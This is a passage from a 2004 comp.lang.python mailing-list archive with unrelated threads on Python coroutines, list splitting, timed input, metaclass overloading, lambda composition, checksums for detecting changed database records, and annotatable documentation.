>         return "f 0: member=%s" % self.member
>     @overloaded
>     def f(self, s):
>         return "f 1: member=%s, s=%s" % (self.member, s)
> 
> b=blob("XXX")
> print b.f[0]()
> print b.f[1]("Yet another f")
> 
> ---- Output ---
> 
> f 0: member=XXX
> f 1: member=XXX, s=Yet another f
> 
> 
> Lenard Lindstrom
> <len-l at telus.net>


-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From pmaupin at speakeasy.net  Fri Sep 17 23:43:23 2004
From: pmaupin at speakeasy.net (Patrick Maupin)
Date: 17 Sep 2004 20:43:23 -0700
Subject: Microthreads without Stackless?
References: <mailman.3171.1094844869.5135.python-list@python.org>
	<18282ecb.0409120634.5ba044ee@posting.google.com>
	<Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com>
	<18282ecb.0409151755.47b691e2@posting.google.com>
	<Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com>
	<8cf9f521.0409162213.105d321e@posting.google.com>
	<dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com>
	<cieafr$m4b$1@nntp0.reith.bbc.co.uk>
	<8cf9f521.0409171009.142a3fcd@posting.google.com>
Message-ID: <653b7547.0409171943.7fa21977@posting.google.com>

> But that's actually just what coroutines ARE.  Bryan seems to want
> some kind of hybrid between actual coroutines and a call stack.  Which
> isn't necessarily bad.  And is probably something various
> languages--like Perl 6--do support.

All the coroutine packages I've ever used (e.g. built-in to Modula-2,
add-ons for C, stuff I've built myself in assembly language, etc.):

a) Give each coroutine its own stack; and
b) allow inter-couroutine calls to be made from anywhere on this stack

This paradigm is quite natural with legacy stack-oriented languages. 
If you were to return from a function (e.g. similar to a python
'yield') using regular 'C' you would have to copy the local variables
off the stack somewhere during the yield processing, which could add a
lot of overhead.  Instead of doing this, you _call_ a function to
perform a yield, and your local variables remain on your stack.  Once
this paradigm is in place, the ability to call the yield function from
within a sub-function is natural and free (except for the extra memory
for a stack).

If you have to be at the top level to effect a switch out of one
coroutine into another, you have to organize your state and variables
such that it's probably not too much extra work to go one more step
and dispense with coroutines altogether.

I don't know what the "official definition" of coroutines is, or even
who the keeper of that definition would be, but my working mental
model of (and prior experience with) coroutines in the real world
includes a stack for each coroutine.  I admit that Knuth's coroutine
examples don't admit a stack, but then, neither do his subroutine
examples!

Regards,
Pat


From aleaxit at yahoo.com  Wed Sep  1 03:32:30 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 1 Sep 2004 09:32:30 +0200
Subject: Splitting a list
References: <mailman.2673.1093960462.5135.python-list@python.org>
Message-ID: <1gjeld6.18wd6oozbdcumN%aleaxit@yahoo.com>

Ian Sparks <Ian.Sparks at etrials.com> wrote:

> string.split() is very useful, but what if I want to split a list of
integers on some element value?
> 
>  e.g. :
> 
> >> l = [1,2,3,-1,4,5,-1,8,9]
> >> l.split(-1)
> >> [[1,2,3],[4,5],[8,9]]
> 
> Here's my hideous first pass :
> 
> >> [[int(z) for z in x.split(',') if z] for x in ','.join([str(a) for a in
l]).split('-1')]
> >> [[1, 2, 3], [4, 5], [8, 9]]
> 
> When I see code like that I just know I've missed something obvious....

I think a simple generator might serve you well:

def isplit(seq, separator):
    result = []
    for item in seq:
        if item == separator:
            yield result
            result = []
        else:
            result.append(item)
    yield result

example use:

>>> list(isplit([1,2,3,-1,4,5,-1,8,9], -1))
[[1, 2, 3], [4, 5], [8, 9]]

Note that, the way isplit is coded, seq can be any iterable, not just a
list.  You may not need this little extra generality, but it can't
hurt...


Alex


From quaggy at gmail.com  Tue Sep 14 20:15:36 2004
From: quaggy at gmail.com (Jonathan Wright)
Date: 14 Sep 2004 17:15:36 -0700
Subject: Is this a bug in the windows tempfile.py?
Message-ID: <ci81j8$mf@odak26.prod.google.com>

import tempfile
import types
print isinstance(tempfile.TemporaryFile(), types.FileType)


Prints False on Windows and True on linux or any other posix system.
The reason for the difference is on posix systems TemporaryFile returns
an actual file (the result of os.fdopen()) and on windows,
TemporaryFile returns a file wrapper which forwards getattr calls to
the underlying file.

The wrapper used on windows provides an alternative close method that
deletes the temporary file.
Should the wrapper inherit types.FileType?

Jonathan.



From smcg4191 at frii.RimoovThisToReply.com  Sun Sep 19 22:29:51 2004
From: smcg4191 at frii.RimoovThisToReply.com (Stuart McGraw)
Date: Sun, 19 Sep 2004 20:29:51 -0600
Subject: bad data from urllib when run from MS .bat file
References: <414cb56d$0$58900$75868355@news.frii.net>
	<87acvmxayq.fsf@pobox.com>
Message-ID: <414e40a1$0$58900$75868355@news.frii.net>

"John J. Lee" <jjl at pobox.com> wrote in message news:87acvmxayq.fsf at pobox.com...
> "Stuart McGraw" <smcg4191 at frii.RimoovThisToReply.com> writes:
> [...] 
> > So it looks like some bad mojo between urllib and the Windows
> > batch environment.
> 
> Just a guess, without actually bothering to think about the numerology
> in detail:
> 
> test.bat:
> ----------------
> python -u test.py http://etext.lib.virginia.edu/cgi-local/breen/wwwjdic?1W%BF%A9%A4%D9%A4%EB_v1
> ----------------
> 
> Note the -u switch (for 'unbuffered', but also 'um, binary mode'
> <wink>).

Did you try doing that?  Did it work for you?  I just tried here, and 
still have the same problem.

Even worse, in the original script that the test script is derived from
I encountered a new problem.  Intermixed with the web page data 
returned by urllib, is bits and pieces (10-20 characters long) of local 
file and directory names.  Only happens reading some web pages 
(EUC-JP encoded as with the original problem) but I'm wondering 
if there are some single-byte/double-byte character issues with urllib. 
That would be surprising to me given that urllib is shipped with the
Python distribution, I would think that any core libs would be pretty
bombproof.  (Am I being naive? :-) Of course, still possible I hosed 
something in my script, so I will double check... 
 




From imbosol at aerojockey.com  Mon Sep 27 16:10:19 2004
From: imbosol at aerojockey.com (Carl Banks)
Date: 27 Sep 2004 13:10:19 -0700
Subject: open and shut case
References: <NIT0d.400083$gE.34432@pd7tw3no> <878ybfk3rf.fsf@pobox.com>
	<Y201d.1624$_G4.38@newsread3.news.pas.earthlink.net>
Message-ID: <60dfb6f6.0409271210.4737d453@posting.google.com>

Andrew Dalke <adalke at mindspring.com> wrote in message news:<Y201d.1624$_G4.38 at newsread3.news.pas.earthlink.net>...
> John J. Lee wrote:
> > PS. these days, your subject line sounds distinctly spammish
> > (especially since it's a woman posting the message to a
> > comp. newsgroup -- how likely can that be? ;-)
> 
> What the .... ??! Was that supposed to be funny?  The smiley
> suggests you thought it was.  It isn't.  It's crude and rude.

http://www.winternet.com/~mikelr/flame6.html


-- 
CARL BANKS


From __peter__ at web.de  Fri Sep 10 11:24:25 2004
From: __peter__ at web.de (Peter Otten)
Date: Fri, 10 Sep 2004 17:24:25 +0200
Subject: Is there no switch function in Python
References: <CR20d.46131$Vf.2380522@news000.worldonline.dk>
	<1Zb*VOguq@news.chiark.greenend.org.uk>
	<roy-03E598.09352710092004@reader1.panix.com>
	<87llfip5ep.fsf@sinken.local.csis.hku.hk>
Message-ID: <chsgva$9f4$00$1@news.t-online.com>

Isaac To wrote:

> a cheap replacement of a sequence of if-then-else.  E.g., in an
> exercise of "The C++ Programming Language" of Bjarne Stroustrup, you
> can see the following example code:
> 
>   void send(int *to, int *from, int count) {
>     int n = (count + 7) / 8;
>     switch (count % 8) {
>     case 0: do { *to++ = *from++;
>     case 7:      *to++ = *from++;
>     case 6:      *to++ = *from++;
>     case 5:      *to++ = *from++;
>     case 4:      *to++ = *from++;
>     case 3:      *to++ = *from++;
>     case 2:      *to++ = *from++;
>     case 1:      *to++ = *from++;
>       } while (--n > 0);
>     }
>   }

This is otherwise known a Duff's device:

http://catb.org/~esr/jargon/html/D/Duffs-device.html

Peter



From cbuffer at NOSPAMrosecott.ukfsn.org  Mon Sep 13 18:58:18 2004
From: cbuffer at NOSPAMrosecott.ukfsn.org (Ken Parkes)
Date: Mon, 13 Sep 2004 23:58:18 +0100
Subject: #comments
References: <pan.2004.09.13.21.27.31.291385@NOSPAMrosecott.ukfsn.org>
	<4146117c$0$7601$636a15ce@news.free.fr>
	<pan.2004.09.13.21.44.07.330927@NOSPAMrosecott.ukfsn.org>
	<pan.2004.09.13.22.54.43.530988@NOSPAMrosecott.ukfsn.org>
Message-ID: <pan.2004.09.13.22.58.18.360866@NOSPAMrosecott.ukfsn.org>



Thanks to all for the wisdom,  one small step etc.   And Pan sorted, not
bad for an evenings work.
 
Ken.




From bokr at oz.net  Tue Sep 28 21:25:22 2004
From: bokr at oz.net (Bengt Richter)
Date: 29 Sep 2004 01:25:22 GMT
Subject: python vs c#
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<EPmdnagKPrUPhtPcRVn-iQ@giganews.com>
	<mailman.3529.1095642828.5135.python-list@python.org>
	<1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com>
	<41513aac$0$285$edfadb0f@dread12.news.tele.dk>
	<1gkih9r.pfgqukvpt1rcN%aleaxit@yahoo.com>
	<37tjl09an200u6tejkrtklc8ib86uk7rm1@4ax.com>
Message-ID: <cjd2u2$f0s$0$216.39.172.122@theriver.com>

On Wed, 29 Sep 2004 02:39:51 +0300, Christos "TZOTZIOY" Georgiou <tzot at sil-tec.gr> wrote:

>On Wed, 22 Sep 2004 11:18:35 +0200, rumours say that aleaxit at yahoo.com
>(Alex Martelli) might have written:
>
>>> Well, not to feed the troll, but there is a few relevant points in it's
>>> posting.
>>
>>(Please, please, please: "its", not "it's"... pretty please...)
>
>(Late reply that maybe can make one smile)
>
>Alex, you are 99% correct.  Leave a 1% chance that Max referred to
>"julio" as "it"... :)  Trolls are genderless!

If a troll posts, it's its fault if its its's and its "it's"s (it'ses ?!)
are not used correctly ;-) Ok, I stuck my neck out, but I suspect
Alex is at least 99.999% right ;-)

BTW, did you notice that and's letter count is 3, and also that it's letter count is 2 ;-)

Regards,
Bengt Richter


From aleaxit at yahoo.com  Thu Sep  9 16:27:03 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 9 Sep 2004 22:27:03 +0200
Subject: Is except: ... pass bad style?
References: <pan.2004.09.09.16.26.16.985806@python.net>
	<chq3vi$qb0$01$1@news.t-online.com>
	<pan.2004.09.09.17.56.54.316784@python.net>
Message-ID: <1gjva9x.1aup86p1pcaqhdN%aleaxit@yahoo.com>

marduk <marduk at python.net> wrote:

> Based on all the responses received thus far, I thought of a way of
> doing it without an exception:
> 
> myobj.__dict__.get('method', lambda : None)()

Have you TRIED this?  most likely, myobj.method is NOT reaching into
myobj.__dict__, but rather into type(myobj).  getattr is WAY superior!


Alex


From http  Thu Sep  9 15:12:05 2004
From: http (Paul Rubin)
Date: 09 Sep 2004 12:12:05 -0700
Subject: Shorter checksum than MD5
References: <nJU%c.241102$VH2.12288041@phobos.telenet-ops.be>
	<7xfz5rn1w2.fsf@ruckus.brouhaha.com>
	<hNX%c.241261$Ch3.12334176@phobos.telenet-ops.be>
Message-ID: <7xllfjfe9m.fsf@ruckus.brouhaha.com>

Mercuro <this at is.invalid> writes:
> I have a proprietary system, which I can't modify. But, it uses Foxpro
> DBF files which I can read. I have found all the data I want to have
> in a MySQL table. (this table will be used to lookop prices and to
> find other information about articles)
> 
> Since I'm not able to put some timestamps on changed records, I got
> the idea to put a checksum on each record and save it in the MySQL
> table. Every night I would 'SELECT' all checksums together with the
> artikelnumbers and than compare it one by one with newly calculated
> checksums from the DBF file.  Only the changed checksums shall be
> 'UPDATED' and missing numbers would be 'INSERTED'.

I'm a little confused.  Is only the DBF file getting updated?  If you
can put a checksum on each record, why can't you put a timestamp on
each record?  Or why can't you just migrate all the data from the DBF
into another file every night, and then just scan the file to find the
changes from the previous night's version?

> This is the code I have for now:
> (I will probably change md5 with crc32)

Where are the updates coming from?  Note that if you use a 32-bit
checksum, with 100000 records you will probably have some records with
the same checksum by accident.  Is that a problem?  Also, with CRC32,
it's very easy to create a record on purpose that has any given
checksum.  Is THAT a problem?  For example, it means that if someone
can change the price of an article, he can choose a new price so that
the record will have the same checksum as the old price and the change
won't get noticed.  Could he buy something for $1.00, change the price
to $11.73 or something, then return the item and get an $11.73 refund
because you didn't notice the update?


From me at privacy.net  Fri Sep 24 14:10:54 2004
From: me at privacy.net (Richard Hanson)
Date: Fri, 24 Sep 2004 11:10:54 -0700
Subject: [OT] "Pre-announcement" of Python-based "computing
	appliance"	project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<864d370904092305026f41795@mail.gmail.com>
	<mailman.3821.1095980182.5135.python-list@python.org>
	<itq6l0hehkhv8psdin3unri3aba268i63u@4ax.com>
	<mailman.3830.1095998544.5135.python-list@python.org>
	<1gkm0tv.1xasn1m14tgujgN%aleaxit@yahoo.com>
Message-ID: <lmo8l0pc47u87t31145j7spcpe2f0gr3pu@4ax.com>

[A heads up: Moderate length post; little added value by me. :-) ]

Alex Martelli wrote:

> Jack Diederich <jack at performancedrivers.com> wrote:
>    ...
> > Hmm, you could go with Daleth, the Hewbrew letter that means Door.
> 
> Great suggestion.  While daleth.org and daleth.com are taken, daleth.net
> is free, too.
> 
> > A glance at the first google page shows no software with that moniker.
> > As a logo it isn't terribly sexy, but you could work on it (the current
> 
> ?!  It means (inter alia) Tarot Trump III, The Empress (Venus, Earth
> Mother, Demeter -- fertility, bounty, creativity -- Daughter of the
> Mighty Ones) -- there are renderings galore, and while of course many
> are quite chaste, finding sexy ones is the least of your problems!-)  

Alex's comments on the sexiness of "Daleth" noted with humor. ;-)

Once again, I am impressed by the incredible store of general as well
as specific knowledge available even in such a specific group as
c.l.py. I'm a generalist, and much appreciate the opportunities to
broaden my education through edification such as the above.

> > ps, to any whackadoodles: no neocon conspiracy here, it just happens that
> > when I was young my parents sent me to a place called "a school"
> 
> Heh, I may be out of the current US cultural picture, I guess, but I
> wouldn't particularly connect tarot and kabbalah to neocons...

I didn't comment on Jack's PS, originally. I'm aware of the 'Merkin
cultural picture, but studies of philosophy over the years along with
general observations of, and introspections into, the human condition,
have rendered me quite apolitical. I *did* get Jack's reference and
took it in what I think was the spirit intended -- facts, not
political agendas, given with humor.

Thanks for the comments to both of you!


apolitically-and-agendaless'ly y'rs,
Richard Hanson

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From rm at rm.rm  Sun Sep 19 21:46:59 2004
From: rm at rm.rm (Radioactive Man)
Date: Mon, 20 Sep 2004 01:46:59 GMT
Subject: Need function like "raw_input", but with time limit
References: <1fhpk0pfgvupkdk2i43qg3olahij29qesb@4ax.com>
	<1gkcxpr.gihdewhg6wadN%aleaxit@yahoo.com>
Message-ID: <facsk0lp406o3s0t27hsrksutcg4hccbon@4ax.com>

On Sun, 19 Sep 2004 11:21:49 +0200, aleaxit at yahoo.com (Alex Martelli)
wrote:

>Radioactive Man <rm at rm.rm> wrote:
>
>> anyone know of a function like "raw_input", which collects a string
>> from the user entry, but one where I can set a time limit, as follows:
>> 
>> time_limit = 10    # seconds
>> user_answer = function_xyz("GIVE ME AN ANSWER:  ", time_limit)  
>> 
>> 
>> The problem with "raw_input" is that it will stop unattended script
>> indefinitely.  I'm looking for a function that does the exact same
>> thing, but with a time limit feature, and preferably one that returns
>> an empty string ('') when it gets no response.  Any suggestions?
>
>It depends on what platforms you need to run on.  On any kind of
>Unix-like platform (including Linux, BSD, MacOSX, ...), the function
>select of module select can work on any kind of files, including
>sys.stdin, and it does provide timeout functionality, too.  So, you
>could sys.stdout.write the prompt, then call select.select with
>sys.stdin.fileno as the only file descriptor of interest and whatever
>timeout you wish.  Depending on what select.select returns you can then
>either sys.stdin.readline (and strip the trailing \n) or just return the
>empty string from your function.
>
>Unfortunately, on Windows, select.select works only on sockets, not
>ordinary files nor the console.  So, if you want to run on Windows, you
>need a different approach.  On Windows only, the Python standard library
>has a small module named msvcrt, including functions such as
>msvcrt.kbhit which tells you whether any keystroke is waiting to be
>read.  Here, you might sys.stdout.write the prompt, then enter a small
>loop (including a time.sleep(0.2) or so) which waits to see whether the
>user is pressing any key -- if so then you can sys.stdin.readline etc,
>but if after your desired timeout is over no key has been hit, then just
>return the empty string from your function.

In other words, the user must make any entries while the time.sleep()
statement is running.  If the user has entered data during this time,
it should be indicated by the value of msvcrt.kbhit().  The problem
I've had is that msvcrt.kbhit() returns 0 no matter what I've entered
before the statement is executed and while the sleep statement is
being executed.

>
>All of this assumes that if the user has STARTED typing something then
>you want to wait indefinitely (not timeout in the middle of their
>entering their answer!).  Otherwise, you have more work to do, since you
>must ensure that the user has hit a Return (which means you must peek at
>exactly what's in sys.stdin, resp. use msvcrt.getch, one character at a
>time).  Fortunately, the slightly simpler approach of waiting
>indefinitely if the user has started entering seems to be the preferable
>one from a user interface viewpoint -- it lets you deal with unattended
>consoles as you desire, yet IF the user is around at all it gives the
>user all the time they want to COMPLETE their answer.
>
>
>Alex
> 


Thanks for the info.


From ian at cottee.org  Wed Sep 15 02:06:04 2004
From: ian at cottee.org (Ian J Cottee)
Date: Wed, 15 Sep 2004 15:06:04 +0900
Subject: i am going to get crazy!!!
In-Reply-To: <mailman.3342.1095212808.5135.python-list@python.org>
References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com>
	<mailman.3342.1095212808.5135.python-list@python.org>
Message-ID: <fn2l12-pp4.ln1@suse.zobbo.org>

Carlos Ribeiro wrote:

> -- There are two classes of developers: those who like IDEs and those
> who doesn't. The latter camp includes people that swear by Emacs, VIM,
> and stuff like that. I don't mean to sound badly, but such people
> don't get what's the fuss about a good IDE. They come from another
> background, and normally write another type of software, one that
> doesn't need such "fancy" gadgetry to work. Don't try to argue with
> them -- there's no right and wrong here, just different styles at
> work.

Must resist religious wars. Must resist religious wars BUT :-) ... Emacs 
*is* an IDE. More integrated than many others. And to be fair VIM is an 
IDE.

If, within  emacs I can get syntax hilighting, code completion, block 
indent/outdent, debugging, project management, code folding I would call 
that an IDE. And I have the same functions if I then need to edit some 
SQL, Javascript, ZPT etc. And when I want to play with Lisp in my spare 
time I can use the same environment. It's that flexibility that I like.

It isn't perfect though. Hence why I have been searching for something 
better as well. Maybe the future is Eclipse. Maybe the future is 
Emacs++. We shall see and I will continue to evaluate :)

Ian



From paul at boddie.org.uk  Mon Sep 20 05:41:05 2004
From: paul at boddie.org.uk (Paul Boddie)
Date: 20 Sep 2004 02:41:05 -0700
Subject: Database->python->Xml->Xslt->Client
References: <4c900ea0.0409172237.3e5abf25@posting.google.com>
	<cigqq6$mnp$1@news-reader5.wanadoo.fr>
	<1gkb1h7.8azms01gn7bxsN%aleaxit@yahoo.com>
	<cih7uh$388$1@news-reader4.wanadoo.fr>
Message-ID: <5339b60d.0409200141.6a65b866@posting.google.com>

Michel Claveau - abstraction m?ta-galactique non trivial	e en fuite perp?tuelle. <unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom> wrote in message news:<cih7uh$388$1 at news-reader4.wanadoo.fr>...
> Hi ! 
> 
> HTML also is verbose...

Thanks for that informed commentary on the matter. I'm sure the
verbosity of HTML and XML with respect to your favourite binary wire
format (and presumably your favourite client software, too, given that
we're looking at a browser solution) really passed the original
contributor by.

Back to the suggested architecture: if you're purely worried about
network bandwidth, then provided the XML is much smaller than any
presented page, I suppose you could use client-side XSL in order to
reduce the bandwidth requirement. But if any reduced bandwidth
requirement is just one way of getting better performance, I'm not
completely convinced that you wouldn't be better served with something
like libxslt on the server producing the final output; in my
experience, its performance is pretty impressive on modest hardware in
comparison to other such processors (on much bigger hardware).
Moreover, by retaining XSL processing on the server, you would avoid
potentially controversial browser requirements - it's bad enough
working round browser issues with supposedly "simple" stuff like XHTML
and CSS without bringing XSL into the equation.

Paul


From aleaxit at yahoo.com  Mon Sep 27 16:43:54 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 27 Sep 2004 22:43:54 +0200
Subject: Metaclass with name overloading.
References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch> <3c13hh0e.fsf@python.net>
	<1gkscau.19ue35c1sy5t7mN%aleaxit@yahoo.com>
	<mailman.3973.1096311322.5135.python-list@python.org>
Message-ID: <1gksmv9.16x5x311rr60oiN%aleaxit@yahoo.com>

Carlos Ribeiro <carribeiro at gmail.com> wrote:

> On Mon, 27 Sep 2004 19:11:14 +0200, Alex Martelli <aleaxit at yahoo.com> wrote:
> > so, class blop doesn't really have an 'f' (it does have it in the
> > __dict__, but it's a dummy '_ignore_method' entry with a suitable custom
> > metaclass would easily prune!-) but has __overloaded__f__0 and
> > __overloaded__f__1 methods (which, again, a suitable custom metaclass
> > could do whatever wonders with!-).
> 
> The decorator could play it safe, and at the same time, return
> something like the original poster expects. Upon decoration the

I think it's a better architecture to have the metaclass process all the
overloads, and until the metaclass runs, leave a marker-value for the
name.  Otherwise, uncaught errors are just too likely.

> following would happen:
> 
> 1) store the newly declared object in the list __overloaded__<$name>.

So far, so NP -- I did name mangling period, but name mangling plus
indexing is fine too.

> 2) return a new object (to be bound to the <$name>), where
> <$name>.__call__ would return __overloaded__<$name>[-1]; and
> f.__iter__ would return an iterator for all declaration in the order
 > they appear.

I think you'll have more nondiagnosable error cases this way.  You can
add more error checking to the very simple decorator I posted, of
course.  The key issue to catch is the error whereby some occurrences of
the name are correctly decorated '@ overload' and others aren't.
Decorator and metaclass working together can do it, but if you don't
ensure the metaclass runs at the end (and it seems to me your approach
wouldn't) then such errors towards the end would stay uncaught.

> The problem is that the methods were not bound to the instance. Adding
> individual names to each method won't work, because it'll not bind the
> references stored in the overload_list. I thought about using a
> closure or curry type of solution, but that's something that I still
> don't understand very well. Any tips?

Do it in the metaclass.  Unless the metaclass was indispensable (and it
is) you could use custom descriptors, too; Raymond Hettinger has a nice
essay on descriptors that shows how to write your own custom ones.


Alex


From rpw3 at rpw3.org  Thu Sep  2 04:55:28 2004
From: rpw3 at rpw3.org (Rob Warnock)
Date: Thu, 02 Sep 2004 03:55:28 -0500
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<4134a207$0$65568$a1866201@newsreader.visi.com>
	<j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<4135ce4a$0$19726$61fed72c@news.rcn.com>
Message-ID: <ApudnfQdCY-dfavcRVn-pQ@speakeasy.net>

<jmfbahciv at aol.com> wrote:
+---------------
| rpw3 at rpw3.org (Rob Warnock) wrote:
| >| Consider the "PIP" command.
| >+---------------
| >
| >Indeed. And COPY & DEL & DIR, etc.
| 
| Well, not quite :-).  COPY and DELETE called PIP via a CCL
| command.  DIRECT became its own program.  To do a directory
| using PIP required a switch and wasn't a monitor level command.
+---------------

Yes, I knew that. What I was trying to convey is that the *names*
of those DOS commands had also been copied from the DEC lineages.
That is, COPY/DEL/DIR rather than cp/rm/ls.


-Rob

-----
Rob Warnock			<rpw3 at rpw3.org>
627 26th Avenue			<URL:http://rpw3.org/>
San Mateo, CA 94403		(650)572-2607



From apardon at forel.vub.ac.be  Thu Sep  2 07:27:36 2004
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 2 Sep 2004 11:27:36 GMT
Subject: allowing braces around suites
References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no>
	<cgn73r$scr$1@nntp0.reith.bbc.co.uk>
	<mailman.2515.1093608707.5135.python-list@python.org>
	<1rk6vkeo5d.fsf@rovereto.ifi.uio.no>
	<87hdqok9i6.fsf@sinken.local.csis.hku.hk>
	<1rfz68ely9.fsf@rovereto.ifi.uio.no>
	<876574k7du.fsf@sinken.local.csis.hku.hk>
	<1r3c28ejis.fsf@rovereto.ifi.uio.no>
	<zILXc.54863$xi6.26091@fe2.texas.rr.com>
	<1rllg0cb3m.fsf@rovereto.ifi.uio.no>
	<874qmovxna.fsf@sinken.local.csis.hku.hk>
	<slrncj8kv2.kp.apardon@trout.vub.ac.be>
	<slrncj8mvt.djm.sholden@flexal.cs.usyd.edu.au>
	<slrncj94hr.kp.apardon@trout.vub.ac.be>
	<du7oekrnwc8.fsf@amadeus.cc.tut.fi>
	<slrncjaq3l.kp.apardon@trout.vub.ac.be>
	<pan.2004.09.01.12.03.39.285610@jerf.org>
Message-ID: <slrncje0vr.7or.apardon@rcpc42.vub.ac.be>

Op 2004-09-01, Jeremy Bowers schreef <jerf at jerf.org>:
> On Wed, 01 Sep 2004 06:13:09 +0000, Antoon Pardon wrote:
>
>> If you need a function or class just to avoid nesting, then IMO
>> you have only camoeflaged it.
>
> If you are dividing your function merely on nesting grounds, you've missed
> the point.

Well then I think the point was ill brought.

> You'll find that if you do this correctly, you code more quickly, test
> more easily, and after practicing for a couple of years you will never
> again have the situation where you say to yourself "Gee, I'd really like
> to use that functionality over there, but it is so wrapped up in other
> extraneous garbage that it is easier to (do it from scratch/copy and
> paste/live without it)."

I haven't come up in such a situation for tens of years. So I think
I'm doing well enough.

I also have been programming enough to know that for every programming
rule to program in a readable fashion and producing easily maintainable
code, there are situation where it is better to break the rule then
to follow it if you really want readable and easily maintainable code.


> If you're dissing it, you haven't tried it. Why don't you try it for a
> while? Deeply nested functions are *bad*; continual use of them as an
> employee of mine would be a firing offense (after suitable warnings), on
> the grounds that code so produced has very limited worth compared to what
> it should have. Deeply nested functions are harder to understand, harder
> to debug, harder to re-use, harder to modify, harder to test, and all this
> and no advantages, too!

And from what number will you call something deeply nested?

Does that limit also apply if it is reached by having a number
of nested functions? I also found that you don't need that
many nested levels. Suppose you have the following situation:


|  def function
|
|    def localfunction
|
|      localfunction
|      code
|
|    function
|    code

My experience is that in such a situation, especially
if the local functions grows of you have more 
local functions it can become hard to see where the body
of the global function begins. Just looking at the
deindentation is not enough because that could be the
result of a control suite that ended. Using an endmarker
like #def can make finding the beginning of the main
function a lot easier and so make the code more readable
and maintainable.

-- 
Antoon Pardon


From bokr at oz.net  Thu Sep 16 16:58:58 2004
From: bokr at oz.net (Bengt Richter)
Date: 16 Sep 2004 20:58:58 GMT
Subject: "Updating" lambda functions
References: <2qtl0oF139gn6U1@uni-berlin.de>
Message-ID: <cicuqi$rp0$0$216.39.172.122@theriver.com>

On 16 Sep 2004 14:07:20 GMT, Oliver Fromme <olli at haluter.fromme.com> wrote:

>Hi,
>
>I'm trying to write a Python function that parses
>an expression and builds a function tree from it
>(recursively).
>
>During parsing, lambda functions for the the terms
>and sub-expressions are constructed on the fly.
>Now my problem is lazy evaluation.  Or at least I
>think it is.  :-)
>
>I need to "update" a lambda function, like this:
>
>        fu = lambda x: x
>        ...
>        fu = lambda x: fu(x) + 17
>        ...
>        fu = lambda x: fu(x) * 3
>
>Of course that doesn't work, because fu is resolved
>when the lambda is called, not when it's defined, so
>I'll run into an endless recursion.
>
>My current solution is to define a helper function
>which passes the lambda through its argument:
>
>        def add_17 (fu):
>                return lambda x: fu(x) + 17
>
>        def mul_3 (fu):
>                return lambda x: fu(x) * 3
>
>        fu = lambda x: x
>        ...
>        fu = add_17(fu)
>        ...
>        fu = mul_3(fu)
>
>That works, but it strikes me as unclean and ugly.
>Is there a better way to do it?
>
>Best regards
>   Oliver
>
>-- 
>Oliver Fromme, Konrad-Celtis-Str. 72, 81369 Munich, Germany
>
>``All that we see or seem is just a dream within a dream.''
>(E. A. Poe)

You could exploit the way functions become bound methods, e.g.,

 >>> fu = lambda x: x
 >>> fu = (lambda f,x: f(x) + 17).__get__(fu)
 >>> fu = (lambda f,x: f(x) * 3).__get__(fu)
 >>> fu(1)
 54
 >>> fu(0)
 51
 >>> fu(-15)
 6
 >>> fu(-16)
 3
 >>> fu(1,2)
 Traceback (most recent call last):
   File "<stdin>", line 1, in ?
 TypeError: <lambda>() takes exactly 2 arguments (3 given)
 >>> fu
 <bound method ?.<lambda> of <bound method ?.<lambda> of <function <lambda> at 0x008FD8B0>>>

or, you could make a magic function-composing object with magic composing properties,
exploiting the method-making mechanism in a different way, e.g.,

 >>> class FC(object):
 ...     def __setattr__(self, name, f):
 ...         if not hasattr(self, name): self.__dict__[name] = [f]
 ...         else: self.__dict__[name].append(f)
 ...     def __getattribute__(self, name):
 ...         if name == '__dict__': return object.__getattribute__(self, '__dict__')
 ...         return type(self).__dict__['_xfuns'].__get__(
 ...             object.__getattribute__(self,name))
 ...     def _xfuns(flist, x):
 ...         for f in flist: x = f(x)
 ...         return x
 ...
 >>> fc = FC()
 >>> fc.fu = lambda x: x
 >>> fc.fu = lambda x: x + 17
 >>> fc.fu = lambda x: x * 3
 >>> fc.fu(1)
 54
 >>> fc.fu(0)
 51
 >>> fc.fu(-15)
 6
 >>> fc.fu(1,2)
 Traceback (most recent call last):
   File "<stdin>", line 1, in ?
 TypeError: _xfuns() takes exactly 2 arguments (3 given)
 >>> fc.bar = lambda x: x*3
 >>> fc.bar = lambda x: x+10
 >>> fc.bar(0)
 10
 >>> fc.bar(2)
 16
 >>> fc.fu(-18)
 -3

All just to explore python's features, not to recommend specific uses ;-)

Regards,
Bengt Richter


From steve at ferg.org  Mon Sep 13 08:45:31 2004
From: steve at ferg.org (Stephen Ferg)
Date: 13 Sep 2004 05:45:31 -0700
Subject: Annotatable Python docs -- now a reality !!!
Message-ID: <b16e4ef7.0409130445.294ced1f@posting.google.com>

Andrew Kuchling has just posted this (see below) on his blog.  

I'm confident that people will use this, if they know it is available.
So now is the time to get the word out.  This is something everyone in
the Python community should know about it.

==================================================
from http://www.amk.ca/diary/archives/cat_python.html#003336

September 09, 2004

Annotatable Python docs

In recent months several posters on comp.lang.python have suggested
that Python would benefit from making it possible for people to
comment on the documentation, an approach similar to the PHP docs.
However, no one has ever actually tried to set up such a system.

In a half-hour hack, I wrapped a frameset around the Python 2.3.4
documentation, added some JavaScript that updates another frame to
display a Wiki page for the documentation page you're viewing, and
simplified the Wiki pages as much as I easily could.

The resulting annotatable documentation is at
http://pydoc.amk.ca/frame.html. Please go and add any commentary,
links, or other material you wish. Let's see if commenting on the docs
